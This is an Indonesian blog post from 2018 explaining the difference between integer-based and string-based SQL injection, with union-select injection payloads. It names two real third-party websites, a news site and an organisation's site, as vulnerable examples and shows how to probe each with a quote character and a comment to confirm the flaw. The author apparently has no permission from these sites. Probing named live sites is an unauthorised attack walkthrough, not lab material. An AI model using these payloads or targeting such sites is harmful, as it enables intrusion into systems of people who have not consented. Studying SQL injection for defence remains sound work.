Rabu, 29 Agustus 2018

Perbedaan Integer Based dan String Based dalam SQL Injection


Assalamualaikum..

Selamat malam dan apa kabar? Kembali lagi dengan saya admin paling ganteng di blog ini. Kali ini saya akan membagikan artikel mengenai Perbedaan Integer Based dan String Based dalam SQL Injection. Selamat membaca!

Sebelum lanjut ke pembahasan, kita harus tau bahwa SQL Injection bisa diklasifikasikan berdasarkan nilai di parameternya. Yaitu:
  1. Integer Based SQL Injection
  2. String Based SQL Injection

1. Integer Based

SELECT * FROM pages WHERE page_id=1 [Injeksi di sini] order by title limit 1,1
Kode di atas adalah kodingan PHP-nya. Jadi, cara injeksinya ?id=1 union select 1,2,3-- -. Dan setelah diinjeksi, kodingan PHP-nya jadi begini:

SELECT * FROM pages WHERE page_id=1 union select 1,2,3-- order by title limit 1,1
Contoh website yang termasuk kategori Integer Based adalah https://www.jawapos.co.id/news/news_detail.php?id_cnews=34. Tambahkan (') di ujung URL untuk tes vuln!


Setelah kita tambahkan ('), website error dengan pesan:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
 Tanda '\'' artinya input di parameter ini tidak menerima string seperti single quote (') atau double quote ("), yang berati tipe injeksinya adalah Integer Based.

Selanjutnya, kita balance inputnya dengan menambahkan komentar -- -. Perintahnya menjadi https://www.jawapos.co.id/news/news_detail.php?id_cnews=34-- -.


Website kembali normal seperti semula setelah ditambahkan -- -. Langkah selanjutnya anda lakukan injeksi seperti biasa, saya tidak akan menjelaskan karena itu di luar pembahasan kita.

2. String Based

SELECT * FROM pages WHERE page_id="1" [Injeksi di sini] order by title limit 1,1
 Kode di atas adalah kodingan PHP-nya. Jadi, cara menginjeksinya ?id=1' union select 1,2,3-- -. Dan setelah diinjeksi, kodingan PHP-nya menjadi begini:

SELECT * FROM pages WHERE page_id="1"' union select 1,2,3--+ order by title limit 1,1
 Contoh website yang termasuk kategori String Based adalah http://lptp.or.id/news.php?id=18. Tambahkan (') di ujung URL untuk tes vuln!


Sebagian tampilan website hilang. Sekarang kita balance dengan menambahkan komentar -- -. Perintahnya menjadi http://lptp.or.id/news.php?id=18'-- -.


Website kembali normal setelah ditambahkan -- -. Saya juga tidak akan melanjutkan injeksi karena itu di luar topik kita.

3. Kesimpulan

Dari penjelasan di atas, dapat kita tarik kesimpulan bahwa:

dalam Integer Based kita tidak menggunakan string seperti single quote (') atau double quote ("). Sedangkan dalam String Based kita harus menggunakan string (') atau (") untuk input di parameternya. 
Oke sekian pembahasan mengenai Perbedaan Integer Based dan String Based dalam SQL Injection. Jika ada kesalahan dalam artikel mohon koreksinya. Silahkan bertanya di kolom komentar, InshaAllah saya jawab :D

Wassalamualaikum..

0 komentar:

Posting Komentar